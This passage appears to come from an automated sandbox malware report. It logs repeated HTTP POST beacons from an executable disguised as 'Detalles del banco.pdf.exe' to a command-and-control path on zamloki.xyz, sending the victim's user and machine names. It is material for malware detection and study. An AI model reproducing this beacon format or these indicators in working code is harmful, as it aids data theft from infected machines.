Jul 27, 2021 22:07:16.949281931 CEST	1299	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:17.205845118 CEST	1299	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ILzi4%2FutrJSzV9bKQZFyD4KrzPM%2FwjazHepTam%2FbsuFIHgzZJYJTxbcnmGL7BY%2B7LzfDbu8Ou6kYVR8MoAyzGCLtVZvW9fBMQHh6oKLzRDeEg7XXrqJceGnw2%2FJdlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e3ad85a4ea9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49754	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:29.906128883 CEST	2257	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:29.931823015 CEST	2257	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:30.179260015 CEST	2258	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SJz%2FXEPjUkyQt1XJT2h7M2QPvt%2FydRP2Aj%2BuiBk0l%2B%2FCSTckRLsRK4SAtS%2Fd7utXdh3Zw7dZ2twU6dwCW%2B32ytuQs5xYg%2BPEx12ch1DmzqWkgsyzvE6H8iehKcAghg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e8bf8add729-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49755	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:30.433121920 CEST	2259	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:30.462487936 CEST	2259	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:30.735956907 CEST	2260	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FBaIgIxCZuu%2BskK%2BnV%2FNY1bkkVUesjY0aUj80bhpU2JrzF5F1hBcU%2FKeLUuseREPMCxIDxA3LefGaPFL6Fn45pqWUu4M%2FCQkkLEW2BncqqAGoGUd2FteFUitK7uqZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e8f4de73260-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49756	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:30.967523098 CEST	2261	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:30.994224072 CEST	2261	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:31.299643040 CEST	2262	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rW9XEvXFgKw4VEOL3mZ4eTv7bEyuoSnbrhECkUjuLHa7P5rNt0niw2HIGd9bI2bRrtyMCE%2BkgQXd%2FYZMCsysMYVvomg59u1fs0ClclZdPlmfq8%2FyOo%2BfC6hbSPptCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e929b782bd2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49757	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:31.563205957 CEST	2262	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:31.593553066 CEST	2263	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:31.917309999 CEST	2263	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:31 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LxFrBrIAFIH4VQTxk7LdF1pHDoNhdnRzuQAU%2BOJ5lqm7%2BTcYjgruYaRH49p%2BE30vDP9gJ2EF4Ndbv2j1s6peZoEzEmQYh8B3g9O4Sff7USoQJ8bKI5GRgoL5QGaepw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e965e19d6c5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49758	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:32.193229914 CEST	2264	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:32.220953941 CEST	2265	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:32.539727926 CEST	2265	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=nNWhZdXjM%2FqrTgDCv0LudYS7bQtmHKa3KpUDjPBzDPO%2BMUVx6YpF1MUdkOv8p1x8OKJ1O6HF1zMoAp7V4QZ6P17Ce4keNyKa%2Buz48iLxBcl6%2BnmfRakKrohVgf2HRA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e9a4b714ed3-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49759	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:32.843027115 CEST	2266	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:32.874506950 CEST	2267	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:33.162792921 CEST	2269	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=A087YZlIdO9sOrwROYekqbipnDgrIrw7cg34eSLd%2BX81O%2FVuVHB0H4O%2FApUmnHowuTbOe7OX5qNqoPLe2e4tLpcYotT3uNHxC1MzbBa9j6tDdW0Cu%2BSIo08G0T3ODw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e9e5f822bc6-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49760	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:33.418672085 CEST	2271	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:33.446660995 CEST	2272	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:33.703464985 CEST	2274	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MZttL2wGpKeaxAeMxSn4J42EWPnoKyREnhKePc1b3t3Oy4F0nZNZiJ2L7hiPkd1yhyCu7lck3lp4Xpbv6x5eo%2BC%2Bw1hmr9qiDmYnlHspfqIEX72UALhWbwSHjxLQFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ea1ecc32b7d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49764	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:34.045519114 CEST	2278	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:34.078632116 CEST	2282	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:34.331361055 CEST	2299	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CeheTg8lmQUjlsjOoJ1tMVpLp6GLuTFV86prS%2FJ3MlNWeEsUwy%2BNeEgD66KQs8tnCkexP7ax%2BZ5YX%2BaIvvBkw2vDeAuOAti8KYisRgRutTmYmWJUjyAjVkKTPs9FyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ea5ee66dfdb-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49767	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:34.621776104 CEST	5414	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:34.652256966 CEST	6027	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:34.974168062 CEST	6031	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:34 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hkJGTxzSdvw3D7vNW8NgwJhmfbjYIm3Ay1WWCrebH1HjMhsBVgcDKXK3Syng0WphR5Kv%2FBWZpzC39U6FGAnsWY2lweka8ndQkHmiPsT77hMPUAXRDMqoV31KUqb3Zw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ea97fa62b29-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49768	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:35.271904945 CEST	6911	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:35.304254055 CEST	6911	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:35.558635950 CEST	6912	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Qr3RcYwVp7d8W8KaIAhl7pCLc43r%2FO7ZTNwtyfPhxLIz1UJO9qjB3MOdaUuDcTwp0h24Ds7k1mfgMVmdW4%2BEhWa89nKi3VAa0mfpuDTfStqy%2B1Upc4uAmzw%2BOG91Dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ead89e14e79-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.6	49726	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:17.494020939 CEST	1300	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:17.521337986 CEST	1301	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:17.809670925 CEST	1301	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5vJeRR3omeHZG0qjHHlRBTsRIba1ZYxSDqyj6tCqEJkBSWxhNcDk%2BGqJjMghpm2Flb6ZkQigvjoPw5%2FVtGfhP3xjRXfDCRP4yCc8VJenuyfdKH7fkAxTn0vSDqpVeg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e3e6e78431b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.6	49769	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:35.817393064 CEST	6913	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:35.843571901 CEST	6913	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:36.154567957 CEST	6914	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Wpn%2FY%2B5pFQYXjUvB%2FUuviWc3YJKX2GjsKoUDa02sGtNl%2Bsn6IjzOFzfkZAZZEzMv3eNyekWvTYMyQbVkyrJxe9hsfnQidashWwDIBAmMdJGTeHwLKDRyqzEQLcClIQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587eb0ecd02c22-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.6	49770	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:36.440412045 CEST	6915	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:36.469255924 CEST	6915	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:36.721529007 CEST	6916	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:36 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X55TC17x9%2FErRoi%2BSPiY8GUND0FBNVGoxehKm66fAFcb3zwbVSvvR7Jx1JRfeT8bEhCONMM8RgFq%2BOnjeL%2Fzxv3BLYXUTHPRTc6K7WlZyP4DQXsAFRlKH3xId22v8g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587eb4dfd805d0-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49771	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:37.365869045 CEST	6917	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:37.392513037 CEST	6917	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:37.650926113 CEST	6918	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WTt7rEtpFMfBDMygf9giQB6j6mzB5yLhnmAOqbCgwUCipu745N0y4RYz%2FbfKkOGyP2e2mKLzndKjnSPa11KXnLH9KDRQQvcesfCmdesH7z2xYNevq%2B41kkEMBvvfWg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587eba9a6b4ab5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

